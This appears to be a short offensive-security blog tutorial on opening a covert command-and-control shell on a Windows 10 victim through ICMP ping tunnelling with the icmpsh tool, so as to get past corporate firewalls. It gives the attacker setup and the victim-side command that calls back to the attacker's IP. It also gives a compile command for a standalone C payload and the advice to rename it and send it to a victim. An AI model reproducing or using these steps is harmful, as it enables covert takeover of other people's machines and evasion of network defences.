ICMP Shell- Secret Command and Control Channel to Control Victims Machine Using Ping

Corporate firewalls can block reverse and bind TCP connections. However, corporate firewalls are behind internal networks. So we can use PING as a great convert channel to get victim shell access using ICMP Shell.

Here I have used Kali Linux(Attacker Machine) and Victim Machine (Windows 10)

Attacker Machine:-

  • Download the ICMP SHELL tool Here
  • execute command  ./run.sh shell script with 777 Permissions ( read, write, execute)
  • The output of the shell script command will give a piece of code icmpsh.exe -t 192.168.43.7 -d 500 -b 30 -s 128.

Victim Machine:-

  • Upload “icmpsh.exe” on the victim machine.
  • Run CMD and  Execute “icmpsh.exe -t <Attackers IP> -d 500 -b 30 -s 128” as a listener.
  • Here Listener script will be icmpsh.exe -t 192.168.43.7 -d 500 -b 30 -s 128.
  • Execute this with CMD  & No admin privileges are needed.

Back to Attacker Machine:-

  • Once the Listener is executed on my Windows 10 victim machine, Here we got a shell with ICMP.
  • So we can start our command and control of victim’s pc.
  • So only, ICMP requests/response traffic only sent via the attacker’s machine to the victim’s machine.

Victims Click & Shell Access:-

  • If you want to compromise victim directly by clicking, you can download the c code here 
  • After downloading compile the c code directly with the known victim IP Install MinGW in Kali Linux and run the following command to compile the C file i686-w64-mingw32-gcc icmp-slave-complete.c -o icmp-slave-complete.exe
  • Now you can Rename icmp-slave-complete.exe and send it to the victim. SHELL SHELL SHELL !!!
